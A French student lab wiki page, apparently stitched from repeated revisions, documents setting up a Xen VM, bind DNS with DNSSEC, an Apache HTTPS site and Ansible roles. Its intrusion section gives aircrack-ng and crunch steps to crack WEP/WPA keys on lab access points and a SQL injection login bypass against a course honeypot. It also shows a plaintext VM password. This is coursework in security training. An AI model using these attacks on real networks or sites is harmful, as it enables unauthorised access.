corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "\{\{ item \}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58001TP sysres IMA5 2021/2022 G112022-01-12T12:30:34Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
